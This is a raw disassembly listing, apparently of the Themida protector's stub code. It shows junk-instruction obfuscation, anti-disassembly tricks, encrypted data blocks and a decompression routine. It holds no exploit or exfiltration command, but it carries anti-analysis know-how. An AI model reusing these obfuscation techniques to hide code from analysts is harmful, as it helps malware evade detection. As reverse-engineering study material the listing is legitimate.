loc_54D8F0: ; CODE XREF: sub_54D401+4DDj
dec cl
jns loc_54D8A5
js loc_54D904
or [ebp+6A81B79h], ecx
loc_54D904: ; CODE XREF: sub_54D401+4F7j
jnz loc_54D912
jnb loc_54D912
pusha
popa
loc_54D912: ; CODE XREF: sub_54D401:loc_54D904j
; sub_54D401+509j
add esp, 20h
pusha
mov [ebp+6A81785h], ecx
jmp loc_54D92B
; ---------------------------------------------------------------------------
db 2Bh, 0F9h, 73h
dd 1E7FF559h
db 0E4h, 20h, 32h
; ---------------------------------------------------------------------------
loc_54D92B: ; CODE XREF: sub_54D401+51Bj
popa
mov [esp-10h+arg_8], 0
mov [ebp+6A81E99h], esi
mov eax, 1
pusha
sub [ebp+6A8000Dh], esi
popa
sub [ebp+6A81A01h], ebx
lea ecx, [ebp+6A87120h]
sub [ebp+6A82529h], edx
jmp ecx
; ---------------------------------------------------------------------------
jmp loc_54D973
; ---------------------------------------------------------------------------
dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh
db 0E8h, 90h, 23h
; ---------------------------------------------------------------------------
loc_54D973: ; CODE XREF: sub_54D401+55Aj
mov [ebp+6A829B5h], ecx
loc_54D979: ; CODE XREF: sub_54D401+4A6j
; sub_54D401+4B4j ...
mov byte ptr [ebp+6A815D5h], 0
jp loc_54D99D
jmp loc_54D99D
; ---------------------------------------------------------------------------
db 28h
dd 0A39FDC26h, 6714547Ah, 9B2B8F3Eh, 0DB726FE3h
db 90h
; ---------------------------------------------------------------------------
loc_54D99D: ; CODE XREF: sub_54D401+57Fj
; sub_54D401+585j
popa
mov [ebp+6A807B1h], edi
retn 8
; ---------------------------------------------------------------------------
mov [ebp+6A810FDh], edi
xchg eax, esi
jmp loc_54D9B9
; ---------------------------------------------------------------------------
db 0C1h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 40h, 0D7h, 91h
db 0EFh
; ---------------------------------------------------------------------------
loc_54D9B9: ; CODE XREF: sub_54D401+5ADj
push eax
jmp loc_54D9CE
; ---------------------------------------------------------------------------
db 95h
dd 0D84B634Dh, 64DFD878h, 0C0EFEA21h
db 15h, 3Ah
; ---------------------------------------------------------------------------
loc_54D9CE: ; CODE XREF: sub_54D401+5B9j
xchg eax, esi
jmp loc_54D9E2
; ---------------------------------------------------------------------------
dd 2A7C5033h, 77C816B6h, 0FC51EDACh
; ---------------------------------------------------------------------------
add al, 1
loc_54D9E2: ; CODE XREF: sub_54D401+5CEj
mov [ebp+6A84139h], esi
pusha
movsx eax, di
mov ebx, [ebp+6A8311Dh]
popa
mov [ebp+6A81589h], edx
mov [ebp+6A84150h], ecx
cld
lea esi, [ebp+6A84024h]
mov [ebp+6A80BF9h], ecx
lea eax, dword_5B8EA1[ebp]
pusha
sub [ebp+6A82E61h], esi
sub [ebp+6A8261Dh], edi
popa
call eax
cmc
pop esi
mov [ebp+6A82521h], eax
retn
; ---------------------------------------------------------------------------
mov [ebp+6A80BD5h], ebx
mov esi, [ebp+6A84139h]
jbe loc_54DA43
or [ebp+6A824E5h], eax
loc_54DA43: ; CODE XREF: sub_54D401+636j
jg loc_54DA4F
mov [ebp+6A829D9h], edx
loc_54DA4F: ; CODE XREF: sub_54D401:loc_54DA43j
mov ecx, [ebp+6A84150h]
add [ebp+6A82A15h], edi
sub [ebp+6A82BD9h], ebx
sub eax, eax
pusha
mov eax, [ebp+6A81631h]
mov ebx, [ebp+6A82D81h]
popa
sub [ebp+6A825A9h], esi
mov ebx, ecx
pusha
mov [ebp+6A80DD9h], edi
js loc_54DA8C
jnb $+6
loc_54DA8C: ; CODE XREF: sub_54D401+67Fj
popa
jmp loc_54DB2B
; ---------------------------------------------------------------------------
cmc
loc_54DA93: ; CODE XREF: sub_54D401+72Cj
xor ah, [esi]
pusha
clc
mov ecx, [ebp+6A82761h]
popa
mov dl, 2
or [ebp+6A832F5h], ebx
jmp loc_54DB03
; ---------------------------------------------------------------------------
jg loc_54DAB7
add [ebp+6A82511h], edx
loc_54DAB7: ; CODE XREF: sub_54D401+6AAj
; sub_54D401+704j
xor al, dl
cld
add eax, 8A751D7Ah
sub [ebp+6A8171Dh], ebx
mov cl, ah
sub [ebp+6A8093Dh], ebx
ror eax, cl
jmp loc_54DADC
; ---------------------------------------------------------------------------
dd 0E6A64452h, 9342B20Fh
; ---------------------------------------------------------------------------
loc_54DADC: ; CODE XREF: sub_54D401+6CEj
xor eax, 98D10842h
cld
pusha
and ax, 0D9D3h
mov eax, ecx
popa
dec dl
jno loc_54DAF4
cld
loc_54DAF4: ; CODE XREF: sub_54D401+6ECj
pusha
mov eax, [ebp+6A8297Dh]
jb loc_54DB02
cmc
loc_54DB02: ; CODE XREF: sub_54D401+6FAj
popa
loc_54DB03: ; CODE XREF: sub_54D401+6A5j
or dl, dl
jnz loc_54DAB7
jl loc_54DB19
jno loc_54DB19
pusha
popa
loc_54DB19: ; CODE XREF: sub_54D401+70Aj
; sub_54D401+710j
dec ebx
pusha
mov bl, 0B3h
or ebx, 345045FDh
popa
inc esi
sub [ebp+6A81AD9h], edi
loc_54DB2B: ; CODE XREF: sub_54D401+68Cj
or ebx, ebx
jnz loc_54DA93
mov [ebp+6A824E5h], edx
mov [ebp+6A81F99h], edx
iret
; ---------------------------------------------------------------------------
dd 2621BD89h, 6A8h, 5DDBD29h, 0F806A8h, 68A0F00h, 89000000h
dd 0A807B9B5h, 0E9000006h, 11h, 110B099Eh, 0F1949409h
dd 4F8326Bh, 72300E7Dh, 0E9000026h, 13h, 0B866D76Fh, 0EF84C81h
dd 5C2AC205h, 0ADC68931h, 0F85E9BBh, 0E8Eh, 95336000h
dd 6A8256Dh, 213DBD8Bh
; ---------------------------------------------------------------------------
test al, 6
popa
loc_54DBA3: ; CODE XREF: sub_54D401:loc_54D4A6j
lea eax, [ebp+6A83AC3h]
xor [ebp+6A83319h], edi
mov [ebp+6A82D7Dh], eax
pusha
mov dh, al
call sub_54DBC7
mov [ebp+17h], dh
sub cl, ss:[eax-55FD0760h]
sub_54D401 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54DBC7 proc near ; CODE XREF: sub_54D401+7B7p
mov eax, [ebp+6A80DE9h]
pop esi
popa
lea eax, [ebp+6A83FA0h]
jns loc_54DBE1
sub [ebp+6A81B5Dh], eax
loc_54DBE1: ; CODE XREF: sub_54DBC7+Ej
mov [ebp+6A802DDh], eax
call near ptr loc_54DBF0+3
xchg eax, edi
push 36h
pop es
assume es:nothing
loc_54DBF0: ; CODE XREF: sub_54DBC7+20p
mov byte ptr [ebx+5A5E57C6h], 0Fh
sub_54DBC7 endp ; sp-analysis failed
mov eax, ds:66000000h
and ebx, 0C281C56Ah
db 66h
add cs:[eax], al
call sub_54DC11
test eax, 0C4E6ED2Bh
; =============== S U B R O U T I N E =======================================
sub_54DC11 proc near ; CODE XREF: Themida_:0054DC07p
; FUNCTION CHUNK AT 0054DE26 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054DFD9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054E9B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005514E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572C5A SIZE 0000000E BYTES
push eax
mov [ebp+6A81F19h], edx
pop ebx
pop eax
push 1957h
jmp loc_54DC2D
; ---------------------------------------------------------------------------
dd 41EB00DFh, 0EFDD214h
db 0B0h
; ---------------------------------------------------------------------------
loc_54DC2D: ; CODE XREF: sub_54DC11+Ej
pop edi
sub [ebp+6A830E5h], edi
loc_54DC34: ; CODE XREF: sub_54DC11:loc_54DCACj
push dword ptr [edx]
sub ebx, [ebp+6A82FADh]
pop ecx
jnp loc_54DC53
jmp loc_54DC53
; ---------------------------------------------------------------------------
dd 0B5C0CFBEh, 0E58B66B8h
db 83h, 0AFh, 6Ah
; ---------------------------------------------------------------------------
loc_54DC53: ; CODE XREF: sub_54DC11+2Cj
; sub_54DC11+32j
add ecx, 4A08537Dh
sub eax, 16754040h
xor ecx, 7A568F1Fh
mov ah, 0FBh
add ecx, 400EFBCDh
push ecx
mov [ebp+6A81769h], ecx
pop dword ptr [edx]
mov [ebp+6A82F25h], eax
sub edx, 1
stc
dec edx
dec edx
dec edx
xor esi, [ebp+6A82A95h]
dec edi
jnz loc_54DCA0
add esi, 51820CCEh
jmp loc_54DCC2
; ---------------------------------------------------------------------------
db 0D1h
dd 25DC147Bh
; ---------------------------------------------------------------------------
loc_54DCA0: ; CODE XREF: sub_54DC11+79j
jl loc_54DCAC
mov [ebp+6A801F1h], edx
loc_54DCAC: ; CODE XREF: sub_54DC11:loc_54DCA0j
jmp loc_54DC34
; ---------------------------------------------------------------------------
db 4Eh, 88h, 64h
dd 0C5580728h, 71B2ACE6h, 0F366F06Fh
db 92h, 6Bh
; ---------------------------------------------------------------------------
loc_54DCC2: ; CODE XREF: sub_54DC11+85j
jmp short loc_54DCD8
; ---------------------------------------------------------------------------
dd 4 dup(0)
dd 85h
; ---------------------------------------------------------------------------
loc_54DCD8: ; CODE XREF: sub_54DC11:loc_54DCC2j
lea eax, [ebp+6A8438Ch]
mov [ebp+6A80C71h], eax
cmp dword ptr [ebp+6A842C3h], 0
jz loc_54DE26
mov byte ptr [ebp+6A815D5h], 56h
call near ptr loc_54DD00+1
cmp [ebp+1Fh], ebp
loc_54DD00: ; CODE XREF: sub_54DC11+E7p
aam 50h
sub_54DC11 endp ; sp-analysis failed
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
mov [ebp+6A842B7h], eax
mov byte ptr [ebp+6A815D5h], 56h
call near ptr loc_54DD2E+3
push edx
loc_54DD2E: ; CODE XREF: Themida_:0054DD28p
mov eax, 8B509CA8h
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
mov [ebp+6A842BBh], eax
push 4
push 0BC3933D1h
add dword ptr [esp], 43C6DC2Fh
mov eax, [ebp+6A842C7h]
add eax, 1F4h
shl eax, 2
push eax
mov [esp], eax
push 0
call dword ptr [ebp+6A842BBh]
mov [ebp+6A842BFh], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+6A80C71h]
mov eax, ebx
call dword ptr [ebp+6A80C71h]
jmp loc_54DE26
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6A842C3h], 0
jnz loc_54DDA7
retn
; ---------------------------------------------------------------------------
loc_54DDA7: ; CODE XREF: Themida_:0054DDA0j
push edi
mov edi, [ebp+6A842BFh]
stosd
add dword ptr [ebp+6A842BFh], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6A842C3h], 0
jnz loc_54DDC6
retn
; ---------------------------------------------------------------------------
loc_54DDC6: ; CODE XREF: Themida_:0054DDBFj
pusha
sub dword ptr [ebp+6A842BFh], 4
loc_54DDCE: ; CODE XREF: Themida_:loc_54DE21j
mov ebx, [ebp+6A842BFh]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_54DDFB
push 0C783BDA8h
add dword ptr [esp], 387CC258h
push 0
push dword ptr [ebx]
call dword ptr [ebp+6A842B7h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_54DE21
; ---------------------------------------------------------------------------
loc_54DDFB: ; CODE XREF: Themida_:0054DDD8j
call near ptr loc_54DE00+4
loc_54DE00: ; CODE XREF: Themida_:loc_54DDFBp
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+6A842B7h]
sub dword ptr [ebp+6A842BFh], 4
loc_54DE21: ; CODE XREF: Themida_:0054DDF6j
jmp loc_54DDCE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54DC11
loc_54DE26: ; CODE XREF: sub_54DC11+DAj
; Themida_:0054DD94j
dec eax
jmp loc_54DFD9
; END OF FUNCTION CHUNK FOR sub_54DC11
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_54DE38: ; CODE XREF: Themida_:loc_54DE50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_54DE43: ; CODE XREF: Themida_:0054DECEj
; Themida_:0054DF36j ...
add dl, dl
jnz loc_54DE50
mov dl, [esi]
inc esi
adc dl, dl
loc_54DE50: ; CODE XREF: Themida_:0054DE45j
jnb loc_54DE38
add dl, dl
jnz loc_54DE63
mov dl, [esi]
inc esi
adc dl, dl
loc_54DE63: ; CODE XREF: Themida_:0054DE58j
jnb loc_54DED3
xor eax, eax
add dl, dl
jnz loc_54DE78
mov dl, [esi]
inc esi
adc dl, dl
loc_54DE78: ; CODE XREF: Themida_:0054DE6Dj
jnb loc_54DFA8
add dl, dl
jnz loc_54DE8B
mov dl, [esi]
inc esi
adc dl, dl
loc_54DE8B: ; CODE XREF: Themida_:0054DE80j
adc eax, eax
add dl, dl
jnz loc_54DE9A
mov dl, [esi]
inc esi
adc dl, dl
loc_54DE9A: ; CODE XREF: Themida_:0054DE8Fj
adc eax, eax
add dl, dl
jnz loc_54DEA9
mov dl, [esi]
inc esi
adc dl, dl
loc_54DEA9: ; CODE XREF: Themida_:0054DE9Ej
adc eax, eax
add dl, dl
jnz loc_54DEB8
mov dl, [esi]
inc esi
adc dl, dl
loc_54DEB8: ; CODE XREF: Themida_:0054DEADj
adc eax, eax
jz loc_54DEC6
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_54DEC6: ; CODE XREF: Themida_:0054DEBAj
mov [edi], al
inc edi
mov ebx, 2
jmp loc_54DE43
; ---------------------------------------------------------------------------
loc_54DED3: ; CODE XREF: Themida_:loc_54DE63j
mov eax, 1
loc_54DED8: ; CODE XREF: Themida_:loc_54DEF4j
add dl, dl
jnz loc_54DEE5
mov dl, [esi]
inc esi
adc dl, dl
loc_54DEE5: ; CODE XREF: Themida_:0054DEDAj
adc eax, eax
add dl, dl
jnz loc_54DEF4
mov dl, [esi]
inc esi
adc dl, dl
loc_54DEF4: ; CODE XREF: Themida_:0054DEE9j
jb loc_54DED8
sub eax, ebx
mov ebx, 1
jnz loc_54DF3B
mov ecx, 1
loc_54DF0C: ; CODE XREF: Themida_:loc_54DF28j
add dl, dl
jnz loc_54DF19
mov dl, [esi]
inc esi
adc dl, dl
loc_54DF19: ; CODE XREF: Themida_:0054DF0Ej
adc ecx, ecx
add dl, dl
jnz loc_54DF28
mov dl, [esi]
inc esi
adc dl, dl
loc_54DF28: ; CODE XREF: Themida_:0054DF1Dj
jb loc_54DF0C
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_54DE43
; ---------------------------------------------------------------------------
loc_54DF3B: ; CODE XREF: Themida_:0054DF01j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_54DF49: ; CODE XREF: Themida_:loc_54DF65j
add dl, dl
jnz loc_54DF56
mov dl, [esi]
inc esi
adc dl, dl
loc_54DF56: ; CODE XREF: Themida_:0054DF4Bj
adc ecx, ecx
add dl, dl
jnz loc_54DF65
mov dl, [esi]
inc esi
adc dl, dl
loc_54DF65: ; CODE XREF: Themida_:0054DF5Aj
jb loc_54DF49
cmp eax, 7D00h
jnb loc_54DF98
cmp eax, 500h
jb loc_54DF8F
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54DE43
; ---------------------------------------------------------------------------
loc_54DF8F: ; CODE XREF: Themida_:0054DF7Bj
cmp eax, 7Fh
ja loc_54DF9B
loc_54DF98: ; CODE XREF: Themida_:0054DF70j
add ecx, 2
loc_54DF9B: ; CODE XREF: Themida_:0054DF92j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54DE43
; ---------------------------------------------------------------------------
loc_54DFA8: ; CODE XREF: Themida_:loc_54DE78j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_54DFCD
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_54DE43
; ---------------------------------------------------------------------------
loc_54DFCD: ; CODE XREF: Themida_:0054DFB0j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54DC11
loc_54DFD9: ; CODE XREF: sub_54DC11+216j
mov edx, 929h
jmp loc_54E9B6
; END OF FUNCTION CHUNK FOR sub_54DC11
; ---------------------------------------------------------------------------
db 7Fh
dd 31CD73E7h, 422DE048h, 6A247B77h, 22A07360h, 0D486B5C5h
dd 412BD21Ch, 0B7F72B73h, 22F15E0Fh, 3AC073C1h, 5025EC0Ah
dd 7B772960h, 2DE57472h, 0A4E5DA8Eh, 5C3FD816h, 0B7A52772h
dd 2DF75C0Fh, 20C073C2h, 4A38F30Ah, 6769297Fh, 39F26F6Ch
dd 9086B180h, 5C3BCF5Ah, 0B6F76A63h, 39F74941h, 26D973D4h
dd 4438F245h, 277Fh, 62h dup(0)
dd 7F000000h, 3BC473E7h, 4A3EFC44h, 70742960h, 21F2676Eh
dd 9580F0CDh, 4A3C9D09h, 0A4A56572h, 28F6450Eh, 3ADC2186h
dd 4224FC44h, 226A6032h, 32F56F78h, 8791A380h, 133D80Eh
dd 0AED5061Dh, 29EB5104h, 3ADC738Ah, 412BFA46h, 22706032h
dd 2DEF7267h, 998DBD80h, 0F27CF15h, 0E2E16576h, 38EB5513h
dd 74DD21C7h, 573FFA53h, 6D767932h, 2DE17266h, 8Eh, 47h dup(0)
dd 7F000000h, 26CA73E7h, 4021F64Bh, 22772E60h, 2CEF6F75h
dd 8789B880h, 4A3BDF5Ah, 0ADE32B79h, 6CFC5E14h, 3AC726D4h
dd 52DFB43h, 7B24677Bh, 60F2756Eh, 809BA9D3h, 2570D01Fh
dd 0A7E95B1Ah, 60FD4300h, 38C72686h, 52EF445h, 64247D7Bh
dd 60ED6F73h, 9B85B5CDh, 4E7EC408h, 0B0A56F79h, 2DEC4304h
dd 2D8927D4h, 538E045h, 656B7B62h, 6EED6173h, 61h dup(0)
dd 7F000000h, 31C53AE0h, 5725F60Ah, 76747C60h, 6EA16464h
dd 9D808480h, 5D2E9D09h, 0A3F76C78h, 2DF0100Ch, 31CB73D5h
dd 486AFB4Fh, 726D6773h, 34E16C74h, 95C8B4C5h, 427ED914h
dd 0A7E77276h, 38F13D6Bh, 3D892081h, 462FF344h, 22606C66h
dd 21A07963h, 86818680h, 407ECE0Fh, 0B0E62B65h, 29F35300h
dd 897DC2h, 539FC42h, 67686074h, 2EEF7721h, 83C8A487h
dd 0F35CF15h, 0AFFC6576h, 62FD420Eh, 0E0h dup(0)
dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0)
dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54DC11
loc_54E9B6: ; CODE XREF: sub_54DC11+3CDj
jmp loc_5514E7
; END OF FUNCTION CHUNK FOR sub_54DC11
; ---------------------------------------------------------------------------
clc
cld
clc
mov eax, eax
stc
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_54E9D3
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54E9E6
loc_54E9D3: ; CODE XREF: Themida_:0054E9C8j
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+6AAA04Eh]
call ebx
pop ebx
pop eax
loc_54E9E6: ; CODE XREF: Themida_:0054E9D1j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54EA00
push eax
push ebx
mov eax, 1
lea ebx, [ebp+6AA9EFFh]
call ebx
pop ebx
pop eax
loc_54EA00: ; CODE XREF: Themida_:0054E9EDj
mov [ebp+6A831B5h], esi
xor [ebp+6A810E5h], esi
mov eax, eax
push 0
push esi
call sub_54EA19
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54EA19 proc near ; CODE XREF: Themida_:0054EA11p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_54EA19 endp
; ---------------------------------------------------------------------------
db 45h, 0E5h, 9Dh
dd 0BEFFFED1h, 8BCD9A26h, 85BD83D1h, 6A82Ch, 1AD840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 838C6AC3h, 0A82E09BDh, 840F0006h, 183h, 0C307BA66h
dd 0C9DE8060h, 2E09858Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0D457FBC3h, 0D19529h
dd 0E80506A8h, 0E9000003h, 5, 0D677D216h, 0D48A5095h, 66240489h
dd 8D609ABAh, 0A84F9085h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0FC872E79h
dd 1CC02062h, 9D23D8DFh, 6A819EDh, 13E950h, 787E0000h
dd 4C33850Eh, 122ECA72h, 0DE15BC69h, 0A4FE74EFh, 24048929h
dd 1009958Bh, 858D06A8h, 6A84F6Eh, 50D9B70Fh, 6E8h, 9D328E00h
dd 50FF84C8h, 0F5B5752h, 860F31h, 5A000000h, 4895B58h
dd 95FFF824h, 6A82235h, 1AD19589h, 665606A8h, 8E1FD381h
dd 0CC4835Bh, 310D9D33h, 953306A8h, 6A80EB5h, 4F6E858Dh
dd 958B06A8h, 6A81525h, 24048950h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 4FC35646h, 3A9C828h, 840F7CE2h
dd 6, 3015958Bh, 26A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0C8C35646h, 8E8ECh, 0A5590000h, 8510C311h
dd 0DB81F885h, 2F816A95h, 46C6805Bh, 0ED1495FFh, 0BE8006Ah
dd 54000000h, 0D22A40C0h, 6B108923h, 8589B023h, 6A8017Dh
dd 0B70F615Bh, 458509D2h, 0C706A822h, 0A84FA185h, 106h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 525096CAh, 6E8h, 9675B100h, 66EAEB13h, 5B2A64BBh
dd 0D48A310Fh, 6650585Ah, 96CBB7BBh, 0E858D89h, 0BE806A8h
dd 13000000h, 0CEC8C7BBh, 0D5A3B0E3h, 958B6655h, 6A82D6Dh
dd 52B5895Ah, 6606A84Fh, 0BD83D08Bh, 6A8339Dh, 4A850F01h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0AA93C355h, 0AE95C92h, 0E9000000h
dd 8F21432Fh, 0AE1E69F4h, 839DB74Dh, 850F05F8h, 11h, 0C328F281h
dd 0B864E6h, 89000000h, 0A81B95B5h, 51BD8306h, 6A817h
dd 72840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 6AFCFC3h, 8B66602Dh, 5195FFD6h
dd 8B06A817h, 0A8329D9Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 18081BC3h, 0E42FF445h
dd 15B58B60h, 8B06A821h, 11E961F0h, 16000000h, 7F5E4376h
dd 0A423BF01h, 0C2B63E7Ch, 78DD733Dh, 198DBD83h, 0F0006A8h
dd 2F84h, 0B8FC00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 83FFC355h, 2D04A8C9h
dd 33819533h, 0F78A06A8h, 56006A60h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F50F3F9Bh
dd 0FF3E57D5h, 2651958Bh, 9D8906A8h, 6A831D9h, 0D19858Bh
dd 0C08306A8h, 89BFB202h, 0A84F4A85h, 0D59D8906h, 0C606A800h
dd 0C6F9FF00h, 0A815D585h, 0B5895306h, 6A81711h, 25AA2768h
dd 0D7FBAC5h, 348174CEh, 94E2FF24h, 0D68B6639h, 1C18DA81h
dd 0B5FF3C14h, 6A80F95h, 6880Fh, 0BD290000h, 6A80BCDh
dd 6971858Dh, 6A06ABh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 19D0ADC3h, 0EF2C1203h, 60383432h
dd 1B3D9589h, 858B06A8h, 6A83381h, 60D0FF61h, 14D68166h
dd 61D98AB9h, 8990EA80h, 0A81B3185h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 68E7872Fh
dd 33D58529h, 0BD8306A8h, 6A80E35h, 0B4850F01h, 0F000000h
dd 686h, 49952300h, 0B06A81Ah, 0A805AD9Dh, 0BF0F6106h
dd 0D585C6D9h, 4506A815h, 69F3BA66h, 4CC6A668h, 2404819Ah
dd 4013721Ch, 6800Fh, 9D890000h, 6A82CD5h, 0BB19D8Bh, 0B5FF06A8h
dd 6A80F95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 91C35747h, 0E4979CF7h, 0DE31CB4Bh, 8D50B7D3h, 0AB697185h
dd 0B1853106h, 0FF06A82Fh, 11B9BBD0h, 6A70FDh, 3169958Bh
dd 0D0FF06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 9DC35545h, 1113C433h, 0D2D293C1h, 19B589FBh, 8306A831h
dd 0A82B25BDh, 850F0106h, 0CEh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 28C35242h, 19858BD0h, 6A06A80Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0AFDBC352h, 74E9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BAD1ADFh
dd 0A8007195h, 5E89006h, 0C6000000h, 0E4009226h, 52505250h
dd 585A310Fh, 0DE8B310Fh, 505A585Ah, 6690D38Bh, 6A7C54BAh
dd 11E914h, 96910000h, 399B4957h, 0DCFD68B9h, 1B7C2F3Ch
dd 0FFB136FCh, 0A81B3195h, 8880F06h, 51000000h, 0F9D8D89h
dd 585A06A8h, 3880F9h, 0FFA7850Fh, 0C780FFFFh, 100C6ECh
dd 32299533h, 6A6106A8h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 14A0C357h, 0F6EC19A3h
dd 8948CC1Fh, 0A82E418Dh, 0F5BD8306h, 6A80Ah, 43840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 6AB466C3h, 8E8FFh, 614F0000h, 0DF3999C4h
dd 85017F1Fh, 6A81489h, 3195FF5Ah, 0F906A81Bh, 0FFFFDEE9h
dd 0F8BA66FFh, 0F585C7F8h, 106A80Ah, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0F5C3C350h, 52CEC921h, 605AFB51h, 7E8h, 80F67700h, 0C58D8ABh
dd 830Fh, 8B5A0000h, 0A81ABD85h, 85896106h, 6A84F56h, 6810Fh
dd 958B0000h, 6A820D9h, 14E9h, 0C9609000h, 0F318F69Fh
dd 0F08BB39Ch, 1FAEC082h, 0F660B734h, 8B66506Bh, 240489D8h
dd 2F0D9D8Bh, 0B50906A8h, 6A83389h, 35958960h, 6A06A807h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 3B2ADB5Ch, 5A1B72AFh, 0D38B6688h, 4F6E858Dh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 56CE85C3h, 5D9D8BFFh, 5006A807h, 8D0F5160h
dd 0
; ---------------------------------------------------------------------------
pop eax
popa
mov [esp], eax
mov edx, 5175E5E5h
lea eax, [ebp+6A84F5Eh]
jmp loc_54F185
; ---------------------------------------------------------------------------
db 46h, 2Ch, 43h
dd 44D0624Ch, 5074392Ch
db 77h
; ---------------------------------------------------------------------------
loc_54F185: ; CODE XREF: Themida_:0054F174j
nop
push edi
mov bx, 1BFBh
pop edx
push eax
pusha
mov ah, 0AEh
popa
nop
mov ebx, [ebp+6A80515h]
call dword ptr [ebp+6A81AC9h]
push eax
jnb loc_54F1A7
mov ebx, esi
loc_54F1A7: ; CODE XREF: Themida_:0054F19Fj
pop ebx
lea ecx, [ebp+6A87A64h]
jmp loc_54F1C0
; ---------------------------------------------------------------------------
db 62h
dd 1E76BBB4h, 8406A45Dh, 0F9A08F2Dh
; ---------------------------------------------------------------------------
loc_54F1C0: ; CODE XREF: Themida_:0054F1AEj
or eax, eax
jz short loc_54F1D5
lea eax, [ebp+6A84F6Eh]
push eax
call ecx
mov [ebp+6A84F8Ch], eax
jmp short loc_54F1DF
; ---------------------------------------------------------------------------
loc_54F1D5: ; CODE XREF: Themida_:0054F1C2j
mov dword ptr [ebp+6A84F8Ch], 0FFFFFFFFh
loc_54F1DF: ; CODE XREF: Themida_:0054F1D3j
push 0
push edx
call sub_54F1EA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F1EA proc near ; CODE XREF: Themida_:0054F1E2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_54F1EA endp
; ---------------------------------------------------------------------------
dw 55E0h
; ---------------------------------------------------------------------------
inc ebx
